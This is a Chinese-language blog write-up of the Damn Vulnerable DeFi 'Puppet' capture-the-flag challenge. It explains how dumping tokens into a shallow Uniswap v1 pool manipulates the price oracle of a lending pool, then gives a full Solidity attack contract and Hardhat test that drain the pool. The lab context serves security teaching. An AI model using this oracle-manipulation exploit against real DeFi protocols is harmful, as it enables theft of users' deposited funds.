Defi安全挑战系列-Damn Vulnerable DeFi(#8 Puppet)
June 27th, 2023

有一个借贷池,用户可以借出Damn Valuable Tokens (DVT)。为了这样做,他们首先需要以抵押品形式存入两倍于借款金额的以太币。该池子目前有100,000个DVT代币的流动性。

在一个旧的Uniswap v1交易所中开设了一个DVT市场,目前有10个ETH和10个DVT的流动性。

通过从借贷池中取走所有的代币来完成挑战。你的余额中有25个ETH和1,000个DVT代币。

分析合约

分析PuppetPool.sol发现,借贷比例是根据uniswap中ETH和token的比例确认的。如果直接使用25ETH只可以买25个DTV,无法满足题目要求消耗所有借贷池中所有DVT。分析发现uniswap池子中的流动性很“浅”,只有10个ETH加10个DVT。如果将1000个DVT全部卖掉,DVT的价格会显著降低,只需要20个ETH左右就可以购买所有的100000。

解决方案

创建PuppetPoolAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {PuppetPool} from "./PuppetPool.sol";
import "hardhat/console.sol";
import {IUniswapExchange} from "./IUniswapExchange.sol";

contract PuppetPoolAttack {
    PuppetPool public puppetPool;
    DamnValuableToken public damnValuableToken;
    IUniswapExchange public uniswapV1Exchange;

    constructor(
        address puppetPoolAddress,
        address uniswapExchangeAddress
    ) payable {
        puppetPool = PuppetPool(puppetPoolAddress);
        damnValuableToken = DamnValuableToken(puppetPool.token());
        uniswapV1Exchange = IUniswapExchange(uniswapExchangeAddress);
    }

    function attack() public {
        uint256 attackTokenAmount = damnValuableToken.balanceOf(address(this));

        damnValuableToken.approve(
            address(uniswapV1Exchange),
            attackTokenAmount
        );

        uniswapV1Exchange.tokenToEthSwapInput(
            attackTokenAmount,
            1,
            block.timestamp + 5000
        );

        uint256 puppetPoolTokenAmount = damnValuableToken.balanceOf(
            address(puppetPool)
        );

        uint256 depositRequired = puppetPool.calculateDepositRequired(
            puppetPoolTokenAmount
        );

        puppetPool.borrow{value: depositRequired}(
            puppetPoolTokenAmount,
            msg.sender
        );
    }

    receive() external payable {}
}

puppet.challenge.js


    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        const attackFoctory = await ethers.getContractFactory("PuppetPoolAttack");
        const attackContracts = await attackFoctory.deploy(
            lendingPool.address,
            uniswapExchange.address, {
                value: PLAYER_INITIAL_ETH_BALANCE
            }
        );

        await token.connect(player).transfer(
            attackContracts.address,
            PLAYER_INITIAL_TOKEN_BALANCE
        );
        await attackContracts.connect(player).attack();
    });
Subscribe to skye
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from skye

Skeleton

Skeleton

Skeleton